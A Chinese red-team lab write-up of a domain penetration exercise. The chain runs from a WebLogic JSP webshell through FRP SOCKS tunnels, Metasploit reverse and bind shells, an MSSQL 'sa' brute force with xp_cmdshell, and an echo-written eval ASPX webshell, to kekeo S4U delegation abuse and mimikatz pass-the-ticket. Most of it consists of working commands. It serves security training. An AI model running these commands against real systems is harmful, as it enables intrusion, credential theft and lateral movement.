声明
以下内容,来自moon_flower作者原创,由于传播,利用此文所提供的信息而造成的任何直接或间接的后果和损失,均由使用者本人负责,长白山攻防实验室以及文章作者不承担任何责任。
外网weblogic服务器
不知道为什么 ping 不通,直接访问 7001,上一波 weblogic 扫描器直接拿下
物理路径:C:\Oracle\Middleware\Oracle_Home\wlserver\server\lib\consoleapp\webapp\framework\skins\wlsconsole\images\shell.jsp
访问路径:
/console/framework/skins/wlsconsole/images/shell.jsp
能传上但访问404
写入uddiexplorer目录中
物理路径:
C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\uddiexplorer\随机字符\war\shell.jsp
访问路径:
/uddiexplorer/shell.jsp
(发现没这个目录)
写入应用安装目录
物理路径:C:\Oracle\Middleware\user_projects\domains\application\servers\AdminServer\tmp\_WL_user\项目名\随机字符\war\shell.jsp
访问路径:
/项目名/shell.jsp
(也没路径)
域内个人PC
[common]
bind_addr =0.0.0.0
bind_port = 7000
跳板机:
[common]
server_addr = 192.168.0.128
server_port = 7000
[plugin_socks]
type = tcp
remote_port = 7777
plugin = socks5
用CS派生一个监听道到 msf,用msf继续打横向:
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 192.168.0.128
set lport 20001
连上之后迁移进程
run post/windows/manage/migrate
msf挂上代理打永恒之蓝:
set Proxies socks5:192.168.0.128:7777
set ReverseAllowProxy true
注意这里不要直接用ms17_010_eternalblue打,很容易打蓝屏,用 ms17_010_comman弹命令开远程桌面打。(但这里会有各种奇奇怪怪的bug,算第三个坑)
域渗透
先做本机信息收集,win7系统,另一张网卡10.10.10.0/24,存在域 redteam.red,没什么补丁,探测一下域环境。然而现在是system权限不在域中,考虑用msf的steal_token实现降权,重新反弹一个shell到CS中。
这里尝试通过委派打其他主机,其他方式见坑4。
传一个Adfind上去,查找一下配置了委派的用户
查询配置了非约束委派的主机:
AdFind.exe -h 10.10.10.8 -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
查询配置了非约束委派的用户:
AdFind.exe -h 10.10.10.8 -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
查询配置了约束委派的主机:
AdFind.exe -h 10.10.10.8 -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
查询配置了约束委派的用户:
AdFind.exe -h 10.10.10.8 -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
shell fscan64.exe -np -h 10.10.10.0/24
80没东西,爆破一下1443的sa用户,密码sa,传个工具进行连接,这里选用的是SqlKnife
shell SqlKnife.exe -H 10.10.10.18 -P 1433 -u sa -p sa --xpcmd -c whoami
shell SqlKnife.exe -H 10.10.10.18 -P 1433 -u sa -p sa --dbup2 --3 --fix
shell SqlKnife.exe -H 10.10.10.18 -P 1433 -u sa -p sa --dbup2 -c whoami
[common]
server_addr = 10.10.20.12
server_port = 9000
[plugin_socks]
type = tcp
remote_port = 9999
plugin = socks5
frps.ini
[common]
bind_addr =0.0.0.0
bind_port = 9000
https://github.com/RowTeam/SharpSQLTools/带GUI界面执行文件。但不知道为什么一直没办法反弹到cs上,(或许不能弹中继的中继?)
最后还是用msf生成正向shell的马传到sqlserver上,再用EfsPotato 提权后去执行,得到一个system权限的meterpreter.(其实这里用CS的beacon_tcp也可以实现正向连接)msf监听:
handler -p windows/x64/meterpreter/bind_tcp -H 10.10.10.18 -P 30003
cs跳板机正向连接
connect 10.10.10.18 30004
echo ^<%%^@Page Language^=^"Jscript^"%%^>^<%%eval^(Request^.Item^[^"saul^"^]^,^"unsafe^"^)^;%%^> > c:\inetpub\wwwroot\1.aspx
连上webshell之后就要想办法提权了
查询当前系统缺失的常见可用于提权的补丁:
systeminfo > micropoor.txt&(for %i in ( KB977165 KB2160329 KB2503665 KB2592799 KB2707511 KB2829361 KB2850851 KB3000061 KB3045171 KB3077657 KB3079904 KB3134228 KB3143141 KB3141780 ) do @type micropoor.txt|@find /i "%i"|| @echo %i you can fuck)&del /f /q /a micropoor.txt
kekeo.exe "tgt::ask /user:sqlserver /domain:redteam.red /password:Server12345 /ticket:administrator.kirbi" > 1.txt
用生成的
TGT_sqlserver@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi获取域机器的ST:
kekeo.exe "tgs::s4u /tgt:TGT_sqlserver@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi /user:Administrator@redteam.red /service:cifs/owa.redteam.red" > 2.txt
最后用mimikatz将ST2导入当前会话
mimikatz kerberos::ptt TGS_Administrator@redteam.red@REDTEAM.RED_cifs~owa.redteam.red@REDTEAM.RED.kirbi
抓密码或dump密码,但运行mimikatz只能看到saul的密码,利用价值不大。
尝试令牌窃取,但ps中没有域控进程,遂放弃
已有漏洞,如zerologon的重置密码等
委派,先打其他主机
待补充,但可参考
https://github.com/infosecn1nja/AD-Attack-Defense
没解决的问题:
一路的坑,之后慢慢填
CS和MSF操作上有很多的问题
多层内网的反弹shell(后来一直都是正向链接,有防火墙的话就很难受)
没过杀软,大问题
流量不够隐蔽,没有很好的利用各种隧道隐藏技术
参考文献
https://www.sqlsec.com/2018/03/smb.html
http://deepmountains.cn/2021/03/08/2.%20Cobalt%20Strike%E4%B9%8Bbeacon%E7%9B%91%E5%90%AC%E5%99%A8/
https://www.freebuf.com/vuls/304576.html
https://0rangex.github.io/2022/01/26/Domain-penetration_one-stop/
https://www.anquanke.com/post/id/250346